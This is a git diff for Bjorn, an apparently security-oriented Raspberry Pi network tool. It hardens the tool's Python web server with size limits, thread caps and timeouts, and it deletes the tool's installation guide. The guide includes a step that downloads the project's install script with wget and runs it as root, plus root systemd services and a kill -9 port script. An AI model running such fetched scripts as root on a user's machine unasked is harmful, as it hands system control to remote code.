optimized_path = os.path.join(self.shared_data.web_dir, 'vulnerabilities_optimized.html') - normal_path = os.path.join(self.shared_data.web_dir, 'vulnerabilities.html') - path_to_serve = optimized_path if os.path.exists(optimized_path) else normal_path - self.serve_file_gzipped(path_to_serve, 'text/html') + # Serve web/index.html for / + if path_clean == '/': + index_path = os.path.join(self.shared_data.web_dir, 'index.html') + self.serve_file_gzipped(index_path, 'text/html') return # --- DYNAMIC ROUTING MATCHING --- # 1. Exact match if path_clean in self.GET_ROUTES: - # FIX: Pass 'self' (the handler instance) to the function - self.GET_ROUTES[path_clean](self) + handler_or_name = self.GET_ROUTES[path_clean] + # String = instance method name (resolved per-request, avoids lambda) + if isinstance(handler_or_name, str): + getattr(self, handler_or_name)(self) + else: + handler_or_name(self) return # 2. Prefix match (for routes with params in path) @@ -651,10 +731,7 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): return if self.shared_data.webauth and not self.is_authenticated(): - self.send_response(401) - self.send_header('Content-type', 'text/html') - self.end_headers() - self.wfile.write(b'Unauthorized') + self.send_error(401) return # Special Route @@ -670,9 +747,15 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): # 2. JSON ROUTES content_length = int(self.headers.get('Content-Length', 0)) + + # GUARD: Max size check for JSON payloads too + if content_length > MAX_POST_SIZE: + self.send_error(413) + return + body = self.rfile.read(content_length) if content_length > 0 else b'{}' - # Guard + # Guard against multipart mistakenly sent as generic post content_type = self.headers.get('Content-Type', '') if content_type.startswith('multipart/form-data'): self._send_json({"status": "error", "message": "Unexpected multipart/form-data"}, 400) @@ -686,15 +769,21 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): self.web_utils.system_utils.clear_livestatus(self, restart=restart) return - # Dynamic Dispatch for JSON + # Dynamic Dispatch for JSON — data-only handlers if self.path in self.POST_ROUTES_JSON: handler = self.POST_ROUTES_JSON[self.path] if callable(handler): response = handler(data) - # Handlers that return response data need sending, those that return None handle sending themselves? - # Looking at original code, many util methods return dicts, but some handle self.wfile. - # The lambda wrappers in POST_ROUTES_JSON suggest they return data. - # Let's standardize: if handler returns data, we send it. + if response is not None: + status_code = 400 if isinstance(response, dict) and response.get("status") == "error" else 200 + self._send_json(response, status_code) + return + + # Dynamic Dispatch for JSON — handler-aware: fn(handler, data) + if self.path in self.POST_ROUTES_JSON_H: + handler_fn = self.POST_ROUTES_JSON_H[self.path] + if callable(handler_fn): + response = handler_fn(self, data) if response is not None: status_code = 400 if isinstance(response, dict) and response.get("status") == "error" else 200 self._send_json(response, status_code) @@ -730,61 +819,80 @@ class CustomHandler(http.server.SimpleHTTPRequestHandler): class WebThread(threading.Thread): """ - Threaded web server with automatic port conflict resolution. + Threaded web server with automatic port conflict resolution and timeouts. Handles graceful shutdown and server lifecycle. """ - def __init__(self, handler_class=CustomHandler, port=8000): - super().__init__() + def __init__(self, port=8000): + super().__init__(name="WebThread", daemon=True) self.shared_data = shared_data self.initial_port = port self.current_port = port - self.handler_class = handler_class self.httpd = None def setup_server(self): - """ - Configure and start server with port error handling. - Attempts to bind to the port up to 10 times, incrementing port on conflicts. - """ - max_retries = 10 - retry_count = 0 - - while retry_count < max_retries: - try: - class ThreadedTCPServer(socketserver.ThreadingTCPServer): - """ - Custom TCP server with socket reuse options. - Allows address/port reuse to prevent "Address already in use" errors. - """ - allow_reuse_address = True - socket_options = [(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)] - if hasattr(socket, "SO_REUSEPORT"): # Linux only - socket_options.append((socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)) + max_retries = 10 + retry_count = 0 + + while retry_count < max_retries: + try: + # Define server class with timeout logic + class ThreadedTCPServer(socketserver.ThreadingTCPServer): + allow_reuse_address = True + daemon_threads = True # Prevents zombie processes + request_queue_size = 16 # Limit pending connections backlog - server = ThreadedTCPServer(("", self.current_port), self.handler_class) - - for opt in server.socket_options: - server.socket.setsockopt(*opt) - - return server - - except OSError as e: - if e.errno == 98: # Address already in use - retry_count += 1 - if self.current_port == self.initial_port: - time.sleep(1) - else: + # Limit concurrent handler threads to prevent RAM exhaustion on Pi Zero 2 + _max_threads = 20 + _thread_semaphore = threading.BoundedSemaphore(_max_threads) + + def process_request(self, request, client_address): + if not self._thread_semaphore.acquire(blocking=True, timeout=5.0): + # All slots busy - reject to protect RAM + try: + request.close() + except Exception: + pass + return + super().process_request(request, client_address) + + def process_request_thread(self, request, client_address): + try: + super().process_request_thread(request, client_address) + finally: + self._thread_semaphore.release() + + # Timeout logic to kill hanging connections (critical for Pi Zero) + def finish_request(self, request, client_address): + request.settimeout(10.0) + super().finish_request(request, client_address) + + # Instantiate server + server = ThreadedTCPServer(("", self.current_port), CustomHandler) + + # Apply socket options + server.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if hasattr(socket, "SO_REUSEPORT"): + try: + server.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) + except: pass + + return server + + except OSError as e: + if e.errno == 98: # Address already in use + retry_count += 1 + logger.warning(f"Port {self.current_port} busy, trying next...") + time.sleep(0.5) self.current_port += 1 - else: - raise + else: + raise - raise RuntimeError(f"Unable to start server after {max_retries} attempts") + raise RuntimeError(f"Unable to start server after {max_retries} attempts") def run(self): while not self.shared_data.webapp_should_exit: try: - self.current_port = self.initial_port self.httpd = self.setup_server() logger.info(f"Server started on port {self.current_port}") self.httpd.serve_forever() @@ -792,7 +900,7 @@ class WebThread(threading.Thread): logger.error(f"Server error: {e}") if self.httpd: self.httpd.server_close() - time.sleep(1) + time.sleep(2) def shutdown(self): if self.httpd: @@ -805,20 +913,20 @@ def handle_exit_web(signum, frame): shared_data.webapp_should_exit = True if web_thread.is_alive(): web_thread.shutdown() - web_thread.join() - logger.info("Server shutting down...") sys.exit(0) web_thread = WebThread(port=8000) -signal.signal(signal.SIGINT, handle_exit_web) -signal.signal(signal.SIGTERM, handle_exit_web) if __name__ == "__main__": try: + signal.signal(signal.SIGINT, handle_exit_web) + signal.signal(signal.SIGTERM, handle_exit_web) web_thread.start() logger.info("Web server thread started.") + while True: + time.sleep(1) except Exception as e: logger.error(f"An exception occurred during web server start: {e}") handle_exit_web(signal.SIGINT, None) - sys.exit(1) \ No newline at end of file + sys.exit(1) diff --git a/wiki/docs/INSTALL.md b/wiki/docs/INSTALL.md deleted file mode 100644 index b6c8abd..0000000 --- a/wiki/docs/INSTALL.md +++ /dev/null @@ -1,468 +0,0 @@ -## 🔧 Installation and Configuration - -

                              - thumbnail_IMG_0546 -

                              - -## 📚 Table of Contents - -- [Prerequisites](#-prerequisites) -- [Quick Install](#-quick-install) -- [Manual Install](#-manual-install) -- [License](#-license) - -Use Raspberry Pi Imager to install your OS -https://www.raspberrypi.com/software/ - -### 📌 Prerequisites for RPI zero W (32bits) -![image](https://github.com/user-attachments/assets/3980ec5f-a8fc-4848-ab25-4356e0529639) - -- Raspberry Pi OS installed. - - Stable: - - System: 32-bit - - Kernel version: 6.6 - - Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-armhf-lite' -- Username and hostname set to `bjorn`. -- 2.13-inch e-Paper HAT connected to GPIO pins. - -### 📌 Prerequisites for RPI zero W2 (64bits) - -![image](https://github.com/user-attachments/assets/e8d276be-4cb2-474d-a74d-b5b6704d22f5) - -I did not develop Bjorn for the raspberry pi zero w2 64bits, but several feedbacks have attested that the installation worked perfectly. - -- Raspberry Pi OS installed. - - Stable: - - System: 64-bit - - Kernel version: 6.6 - - Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-arm64-lite' -- Username and hostname set to `bjorn`. -- 2.13-inch e-Paper HAT connected to GPIO pins. - - - -At the moment the paper screen v2 v4 have been tested and implemented. -I juste hope the V1 & V3 will work the same. - -### ⚡ Quick Install - -The fastest way to install Bjorn is using the automatic installation script : - -```bash -# Download and run the installer -wget https://raw.githubusercontent.com/infinition/Bjorn/refs/heads/main/install_bjorn.sh -sudo chmod +x install_bjorn.sh -sudo ./install_bjorn.sh -# Choose the choice 1 for automatic installation. It may take a while as a lot of packages and modules will be installed. You must reboot at the end. -``` - -### 🧰 Manual Install - -#### Step 1: Activate SPI & I2C - -```bash -sudo raspi-config -``` - -- Navigate to **"Interface Options"**. -- Enable **SPI**. -- Enable **I2C**. - -#### Step 2: System Dependencies - -```bash -# Update system -sudo apt-get update && sudo apt-get upgrade -y - -# Install required packages - - sudo apt install -y \ - libjpeg-dev \ - zlib1g-dev \ - libpng-dev \ - python3-dev \ - libffi-dev \ - libssl-dev \ - libgpiod-dev \ - libi2c-dev \ - libatlas-base-dev \ - build-essential \ - python3-pip \ - wget \ - lsof \ - git \ - libopenjp2-7 \ - nmap \ - libopenblas-dev \ - bluez-tools \ - bluez \ - dhcpcd5 \ - bridge-utils \ - python3-pil - - -# Update Nmap scripts database - -sudo nmap --script-updatedb - -``` - -#### Step 3: Bjorn Installation - -```bash -# Clone the Bjorn repository -cd /home/bjorn -git clone https://github.com/infinition/Bjorn.git -cd Bjorn - -# Install Python dependencies within the virtual environment -sudo pip install -r requirements.txt --break-system-packages -# As i did not succeed "for now" to get a stable installation with a virtual environment, i installed the dependencies system wide (with --break-system-packages), it did not cause any issue so far. You can try to install them in a virtual environment if you want. -``` - -##### 3.1: Configure E-Paper Display Type -Choose your e-Paper HAT version by modifying the configuration file: - -1. Open the configuration file: -```bash -sudo vi /home/bjorn/Bjorn/config/shared_config.json -``` -Press i to enter insert mode -Locate the line containing "epd_type": -Change the value according to your screen model: - -- For 2.13 V1: "epd_type": "epd2in13", -- For 2.13 V2: "epd_type": "epd2in13_V2", -- For 2.13 V3: "epd_type": "epd2in13_V3", -- For 2.13 V4: "epd_type": "epd2in13_V4", - -Press Esc to exit insert mode -Type :wq and press Enter to save and quit - -#### Step 4: Configure File Descriptor Limits - -To prevent `OSError: [Errno 24] Too many open files`, it's essential to increase the file descriptor limits. - -##### 4.1: Modify File Descriptor Limits for All Users - -Edit `/etc/security/limits.conf`: - -```bash -sudo vi /etc/security/limits.conf -``` - -Add the following lines: - -``` -* soft nofile 65535 -* hard nofile 65535 -root soft nofile 65535 -root hard nofile 65535 -``` - -##### 4.2: Configure Systemd Limits - -Edit `/etc/systemd/system.conf`: - -```bash -sudo vi /etc/systemd/system.conf -``` - -Uncomment and modify: - -``` -DefaultLimitNOFILE=65535 -``` - -Edit `/etc/systemd/user.conf`: - -```bash -sudo vi /etc/systemd/user.conf -``` - -Uncomment and modify: - -``` -DefaultLimitNOFILE=65535 -``` - -##### 4.3: Create or Modify `/etc/security/limits.d/90-nofile.conf` - -```bash -sudo vi /etc/security/limits.d/90-nofile.conf -``` - -Add: - -``` -root soft nofile 65535 -root hard nofile 65535 -``` - -##### 4.4: Adjust the System-wide File Descriptor Limit - -Edit `/etc/sysctl.conf`: - -```bash -sudo vi /etc/sysctl.conf -``` - -Add: - -``` -fs.file-max = 2097152 -``` - -Apply the changes: - -```bash -sudo sysctl -p -``` - -#### Step 5: Reload Systemd and Apply Changes - -Reload systemd to apply the new file descriptor limits: - -```bash -sudo systemctl daemon-reload -``` - -#### Step 6: Modify PAM Configuration Files - -PAM (Pluggable Authentication Modules) manages how limits are enforced for user sessions. To ensure that the new file descriptor limits are respected, update the following configuration files. - -##### Step 6.1: Edit `/etc/pam.d/common-session` and `/etc/pam.d/common-session-noninteractive` - -```bash -sudo vi /etc/pam.d/common-session -sudo vi /etc/pam.d/common-session-noninteractive -``` - -Add this line at the end of both files: - -``` -session required pam_limits.so -``` - -This ensures that the limits set in `/etc/security/limits.conf` are enforced for all user sessions. - -#### Step 7: Configure Services - -##### 7.1: Bjorn Service - -Create the service file: - -```bash -sudo vi /etc/systemd/system/bjorn.service -``` - -Add the following content: - -```ini -[Unit] -Description=Bjorn Service -DefaultDependencies=no -Before=basic.target -After=local-fs.target - -[Service] -ExecStartPre=/home/bjorn/Bjorn/kill_port_8000.sh -ExecStart=/usr/bin/python3 /home/bjorn/Bjorn/Bjorn.py -WorkingDirectory=/home/bjorn/Bjorn -StandardOutput=inherit -StandardError=inherit -Restart=always -User=root - -# Check open files and restart if it reached the limit (ulimit -n buffer of 1000) -ExecStartPost=/bin/bash -c 'FILE_LIMIT=$(ulimit -n); THRESHOLD=$(( FILE_LIMIT - 1000 )); while :; do TOTAL_OPEN_FILES=$(lsof | wc -l); if [ "$TOTAL_OPEN_FILES" -ge "$THRESHOLD" ]; then echo "File descriptor threshold reached: $TOTAL_OPEN_FILES (threshold: $THRESHOLD). Restarting service."; systemctl restart bjorn.service; exit 0; fi; sleep 10; done &' - -[Install] -WantedBy=multi-user.target -``` - - - -##### 7.2: Port 8000 Killer Script - -Create the script to free up port 8000: - -```bash -vi /home/bjorn/Bjorn/kill_port_8000.sh -``` - -Add: - -```bash -#!/bin/bash -PORT=8000 -PIDS=$(lsof -t -i:$PORT) - -if [ -n "$PIDS" ]; then - echo "Killing PIDs using port $PORT: $PIDS" - kill -9 $PIDS -fi -``` - -Make the script executable: - -```bash -chmod +x /home/bjorn/Bjorn/kill_port_8000.sh -``` - - -##### 7.3: USB Gadget Configuration - -Modify `/boot/firmware/cmdline.txt`: - -```bash -sudo vi /boot/firmware/cmdline.txt -``` - -Add the following right after `rootwait`: - -``` -modules-load=dwc2,g_ether -``` - -Modify `/boot/firmware/config.txt`: - -```bash -sudo vi /boot/firmware/config.txt -``` - -Add at the end of the file: - -``` -dtoverlay=dwc2 -``` - -Create the USB gadget script: - -```bash -sudo vi /usr/local/bin/usb-gadget.sh -``` - -Add the following content: - -```bash -#!/bin/bash -set -e - -modprobe libcomposite -cd /sys/kernel/config/usb_gadget/ -mkdir -p g1 -cd g1 - -echo 0x1d6b > idVendor -echo 0x0104 > idProduct -echo 0x0100 > bcdDevice -echo 0x0200 > bcdUSB - -mkdir -p strings/0x409 -echo "fedcba9876543210" > strings/0x409/serialnumber -echo "Raspberry Pi" > strings/0x409/manufacturer -echo "Pi Zero USB" > strings/0x409/product - -mkdir -p configs/c.1/strings/0x409 -echo "Config 1: ECM network" > configs/c.1/strings/0x409/configuration -echo 250 > configs/c.1/MaxPower - -mkdir -p functions/ecm.usb0 - -# Check for existing symlink and remove if necessary -if [ -L configs/c.1/ecm.usb0 ]; then - rm configs/c.1/ecm.usb0 -fi -ln -s functions/ecm.usb0 configs/c.1/ - -# Ensure the device is not busy before listing available USB device controllers -max_retries=10 -retry_count=0 - -while ! ls /sys/class/udc > UDC 2>/dev/null; do - if [ $retry_count -ge $max_retries ]; then - echo "Error: Device or resource busy after $max_retries attempts." - exit 1 - fi - retry_count=$((retry_count + 1)) - sleep 1 -done - -# Check if the usb0 interface is already configured -if ! ip addr show usb0 | grep -q "172.20.2.1"; then - ifconfig usb0 172.20.2.1 netmask 255.255.255.0 -else - echo "Interface usb0 already configured." -fi -``` - -Make the script executable: - -```bash -sudo chmod +x /usr/local/bin/usb-gadget.sh -``` - -Create the systemd service: - -```bash -sudo vi /etc/systemd/system/usb-gadget.service -``` - -Add: - -```ini -[Unit] -Description=USB Gadget Service -After=network.target - -[Service] -ExecStartPre=/sbin/modprobe libcomposite -ExecStart=/usr/local/bin/usb-gadget.sh -Type=simple -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -``` - -Configure `usb0`: - -```bash -sudo vi /etc/network/interfaces -``` - -Add: - -```bash -allow-hotplug usb0 -iface usb0 inet static - address 172.20.2.1 - netmask 255.255.255.0 -``` - -Reload the services: - -```bash -sudo systemctl daemon-reload -sudo systemctl enable systemd-networkd -sudo systemctl enable usb-gadget -sudo systemctl start systemd-networkd -sudo systemctl start usb-gadget -``` - -You must reboot to be able to use it as a USB gadget (with ip) -###### Windows PC Configuration - -Set the static IP address on your Windows PC: - -- **IP Address**: `172.20.2.2` -- **Subnet Mask**: `255.255.255.0` -- **Default Gateway**: `172.20.2.1` -- **DNS Servers**: `8.8.8.8`, `8.8.4.4` - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.